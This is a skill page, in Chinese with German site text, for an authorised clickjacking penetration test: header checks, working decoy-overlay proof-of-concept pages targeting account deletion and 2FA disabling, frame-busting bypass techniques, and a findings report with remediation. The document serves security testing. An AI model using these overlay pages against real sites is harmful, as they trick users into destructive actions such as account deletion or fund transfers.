Die Oberfläche ist lokalisiert; Skill-Beschreibungen und -Dokumente werden per KI automatisch in Ihre Sprache übersetzt. Code, Befehle, Pfade und Fachbegriffe bleiben im Original, maßgeblich ist das Dokument des Autors.
Skills entdecken
Entwicklung · SKILL.md

performing-clickjacking-attack-test

performing-clickjacking-attack-test

在授权安全评估中,通过评估框架嵌入控制和构建概念验证覆盖层攻击来测试 Web 应用程序的点击劫持漏洞。

Independent GitHub snapshot · Automated classification · Original documentation governs

Skill-Dokumentation

GitHub

name: performing-clickjacking-attack-test description: 在授权安全评估中,通过评估框架嵌入控制和构建概念验证覆盖层攻击来测试 Web 应用程序的点击劫持漏洞。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, clickjacking, ui-redressing, web-security, owasp, x-frame-options] version: "1.0" author: mahipal license: Apache-2.0

执行点击劫持攻击测试(Performing Clickjacking Attack Test)

适用场景

  • 在授权渗透测试中评估 UI 重绘(UI Redressing)漏洞时
  • 测试敏感操作(删除账户、转账、更改设置)是否可通过点击劫持执行时
  • 评估 X-Frame-Options 和 Content-Security-Policy frame-ancestors 指令的有效性时
  • 评估处理一键式操作且无额外确认的应用程序时
  • 对处理金融交易或账户管理的应用程序进行安全审计时

前置条件

  • 授权:针对目标的书面渗透测试协议
  • Web 浏览器:现代浏览器,用于测试 iframe 嵌入
  • 本地 Web 服务器:Python http.server 或类似工具,用于托管 PoC 页面
  • Burp Suite:用于检查响应头
  • HTML/CSS 知识:用于构建点击劫持覆盖层页面
  • curl:用于检查目标页面的框架头

工作流程

步骤 1:检查框架嵌入保护

检查响应头中的反点击劫持防御措施。

# 检查 X-Frame-Options 头
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# 预期值:
# X-Frame-Options: DENY(阻止所有嵌入)
# X-Frame-Options: SAMEORIGIN(允许同源嵌入)
# X-Frame-Options: ALLOW-FROM https://trusted.com(已废弃,支持有限)

# 检查 Content-Security-Policy frame-ancestors 指令
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# 查找:frame-ancestors 'none' 或 frame-ancestors 'self'
# frame-ancestors 'none' = 等同于 DENY
# frame-ancestors 'self' = 等同于 SAMEORIGIN

# 测试多个敏感页面
for page in / /account/settings /account/delete /transfer \
  /admin/dashboard /change-password /change-email; do
  echo -n "$page: "
  headers=$(curl -s -I "https://target.example.com$page")
  xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  if [ -z "$xfo" ] && [ -z "$csp" ]; then
    echo "无保护"
  else
    echo "${xfo:-none} | ${csp:-none}"
  fi
done

# 检查是否使用了 JavaScript 框架破坏(弱保护)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"

步骤 2:测试基本 Iframe 嵌入

尝试在 iframe 中嵌入目标页面以确认漏洞。

<!-- basic-frame-test.html -->
<html>
<head><title>点击劫持框架测试</title></head>
<body>
<h1>框架嵌入测试</h1>
<p>如果目标页面在下方加载,则容易受到点击劫持攻击。</p>

<!-- 测试基本嵌入 -->
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"
        style="border: 2px solid red;">
</iframe>

<p>如果控制台显示"Refused to display"或 iframe 为空白,
   则该页面有框架保护。</p>
</body>
</html>
# 托管测试页面
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>点击劫持测试</h1>
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# 在浏览器中打开 http://localhost:8888/frame-test.html
# 检查浏览器控制台是否有嵌入错误

步骤 3:构建点击劫持概念验证

构建一个覆盖层攻击,诱骗用户点击隐藏元素。

<!-- clickjacking-poc.html -->
<html>
<head>
<title>赢取奖品!</title>
<style>
  body {
    margin: 0;
    padding: 0;
    font-family: Arial, sans-serif;
  }

  /* 包含目标页面的不可见 iframe */
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.0001;  /* 几乎不可见 */
    z-index: 2;       /* 在诱饵上方 */
    border: none;
  }

  /* 欺骗用户的诱饵内容 */
  #decoy {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1;
    background: white;
  }

  /* 将"点击此处"按钮精确定位在目标的敏感按钮上方
     (根据目标布局调整 top/left 值) */
  #click-bait {
    position: absolute;
    top: 350px;    /* 与目标的"删除账户"按钮对齐 */
    left: 400px;   /* 水平对齐 */
    padding: 15px 30px;
    background: #4CAF50;
    color: white;
    font-size: 18px;
    cursor: pointer;
    border: none;
    border-radius: 5px;
  }
</style>
</head>
<body>

<!-- 用户可见的诱饵内容 -->
<div id="decoy">
  <h1 style="text-align:center; margin-top:100px;">
    恭喜!您中奖了!
  </h1>
  <p style="text-align:center;">
    点击下方按钮领取奖品
  </p>
  <button id="click-bait">领取奖品</button>
</div>

<!-- 包含目标敏感操作的隐藏 iframe -->
<iframe id="target-frame"
  src="https://target.example.com/account/delete"
  scrolling="no">
</iframe>

</body>
</html>

步骤 4:创建多步骤点击劫持攻击

对于需要多次点击的操作,创建多步骤覆盖层。

<!-- multi-step-clickjacking.html -->
<html>
<head>
<title>完成调查</title>
<style>
  #target-frame {
    position: absolute;
    width: 100%;
    height: 100%;
    opacity: 0.0001;
    z-index: 2;
    border: none;
  }
  #step-container {
    text-align: center;
    margin-top: 200px;
    z-index: 1;
    position: relative;
  }
  .step { display: none; }
  .step.active { display: block; }
  .btn {
    padding: 15px 40px;
    font-size: 18px;
    background: #2196F3;
    color: white;
    border: none;
    cursor: pointer;
    margin-top: 20px;
  }
</style>
</head>
<body>

<div id="step-container">
  <!-- 步骤 1:点击与目标上的"设置"链接对齐 -->
  <div class="step active" id="step1">
    <h2>步骤 1:选择您的奖励</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:200px; left:300px;">
      黄金套餐
    </button>
  </div>

  <!-- 步骤 2:点击与"删除账户"按钮对齐 -->
  <div class="step" id="step2">
    <h2>步骤 2:确认您的选择</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:350px; left:400px;">
      确认
    </button>
  </div>

  <!-- 步骤 3:点击与"是的,我确定"确认框对齐 -->
  <div class="step" id="step3">
    <h2>步骤 3:领取奖励!</h2>
    <button class="btn"
      style="position:absolute; top:400px; left:450px;">
      立即领取!
    </button>
  </div>
</div>

<iframe id="target-frame"
  src="https://target.example.com/account/settings">
</iframe>

<script>
var currentStep = 1;
function nextStep() {
  document.getElementById('step' + currentStep).classList.remove('active');
  currentStep++;
  document.getElementById('step' + currentStep).classList.add('active');
  // 可选:针对多页面流程更改 iframe src
}
</script>
</body>
</html>

步骤 5:测试框架破坏绕过技术

如果使用了基于 JavaScript 的框架保护,尝试绕过它。

<!-- 绕过 JavaScript 框架破坏 -->

<!-- 技术 1:sandbox 属性阻止顶级导航 -->
<iframe src="https://target.example.com/account/settings"
  sandbox="allow-scripts allow-forms allow-same-origin"
  width="800" height="600">
</iframe>
<!-- 不含 allow-top-navigation 的 sandbox 阻止框架破坏 -->

<!-- 技术 2:双重嵌套 -->
<!-- 如果目标检查:if (top !== self) top.location = self.location -->
<!-- 通过同样嵌套目标的中间页面来嵌入页面 -->
<iframe src="intermediate.html" width="800" height="600"></iframe>
<!-- intermediate.html 包含:<iframe src="https://target.example.com/..."> -->

<!-- 技术 3:拦截 onbeforeunload -->
<script>
window.onbeforeunload = function() {
  return "您确定要离开吗?";  // 阻止导航离开
};
</script>
<iframe src="https://target.example.com/account/settings"
  width="800" height="600">
</iframe>

<!-- 技术 4:使用 data: URI 或 about:blank -->
<iframe id="f" src="about:blank" width="800" height="600"></iframe>
<script>
var iframe = document.getElementById('f');
iframe.contentDocument.write(
  '<iframe src="https://target.example.com/account/settings" width="100%" height="100%"></iframe>'
);
</script>

步骤 6:验证影响并记录发现

确认点击劫持能导致有意义的影响。

# 托管 PoC 并测试攻击流程
cd /tmp
python3 -m http.server 8888

# 测试步骤:
# 1. 在浏览器中登录 target.example.com
# 2. 打开 http://localhost:8888/clickjacking-poc.html
# 3. 点击诱饵按钮
# 4. 验证目标上的敏感操作是否已执行

# 报告用:调整 iframe 透明度以显示重叠
# 将透明度从 0.0001 改为 0.5 以获取截图证据
# 这显示了诱饵内容后面可见的目标页面

# 记录哪些敏感操作存在漏洞:
# - 账户删除
# - 密码/邮箱更改
# - 资金转账
# - 权限/角色更改
# - 启用/禁用安全功能

核心概念

概念定义
点击劫持(Clickjacking)通过覆盖诱饵内容欺骗用户点击隐藏元素的 UI 重绘攻击
X-Frame-Options控制页面是否可嵌入 iframe 的 HTTP 头(DENY、SAMEORIGIN)
frame-ancestors指定 iframe 嵌入有效父级的 CSP 指令(取代 X-Frame-Options)
框架破坏(Frame Busting)尝试跳出 iframe 的 JavaScript 防御机制(易被绕过)
Likejacking针对社交媒体"点赞"或"分享"按钮的点击劫持变体
光标劫持(Cursorjacking)使用 CSS 偏移可见光标与实际点击位置的变体
多步骤点击劫持(Multi-step Clickjacking)需要多次点击的攻击,每个步骤的诱饵内容各不相同

工具与系统

工具用途
Burp Suite Professional检查响应上的 X-Frame-Options 和 CSP 头
Clickjack Tester(浏览器)基于浏览器的 iframe 嵌入测试工具
浏览器 DevTools检查框架嵌入行为和控制台错误
Python http.server在本地托管点击劫持 PoC 页面
OWASP ZAP自动检测缺少的反框架头
securityheaders.com缺失安全头的在线扫描器

常见场景

场景 1:通过点击劫持删除账户

/account/delete 的账户删除页面没有 X-Frame-Options 头。攻击者创建一个带有"赢取奖品"按钮的页面,将其定位在透明 iframe 中"删除我的账户"按钮的上方。

场景 2:一键资金转账

银行应用程序通过预填表单上的单一按钮点击执行转账。在没有框架保护的情况下,攻击者将转账页面嵌入 iframe,并覆盖诱饵"玩游戏"按钮。

场景 3:通过多步骤点击劫持禁用 2FA

禁用双因素认证需要两次点击(设置链接,然后禁用按钮)。多步骤点击劫持 PoC 引导受害者完成两次诱饵点击,这些点击与真实按钮对齐。

场景 4:OAuth 授权点击劫持

OAuth 同意屏幕允许嵌入。攻击者嵌入同意页面并诱骗受害者点击"授权",将攻击者的应用程序访问权授予受害者账户。

输出格式

## 点击劫持漏洞发现报告

**漏洞**:点击劫持 — 缺少框架嵌入保护
**严重性**:中(CVSS 6.1)
**位置**:/account/settings、/account/delete、/transfer
**OWASP 类别**:A04:2021 - 不安全设计

### 头部分析
| 页面 | X-Frame-Options | CSP frame-ancestors | 是否易受攻击 |
|------|----------------|--------------------|-|
| / | 未设置 | 未设置 | 是 |
| /account/settings | 未设置 | 未设置 | 是 |
| /account/delete | 未设置 | 未设置 | 是 |
| /transfer | 未设置 | 未设置 | 是 |
| /login | SAMEORIGIN | - | 否 |

### 可被利用的敏感操作
1. 账户删除(单次点击,无需重新认证)
2. 邮箱更改(单次点击,无需确认)
3. 2FA 禁用(两次点击,多步骤 PoC)
4. 资金转账(预填表单,单次点击)

### 影响
- 通过邮箱更改点击劫持实现账户接管
- 通过删除点击劫持毁坏账户
- 通过转账点击劫持造成财务损失
- 通过 2FA 禁用点击劫持降低安全性

### 修复建议
1. 为所有页面添加 `Content-Security-Policy: frame-ancestors 'none'`
2. 设置 `X-Frame-Options: DENY` 作为旧版浏览器的回退措施
3. 对敏感操作要求重新认证(删除、转账)
4. 添加无法预填或自动提交的确认对话框
5. 实施 SameSite=Strict Cookie 以减少 iframe 中的会话可用性
Gespeicherte Skills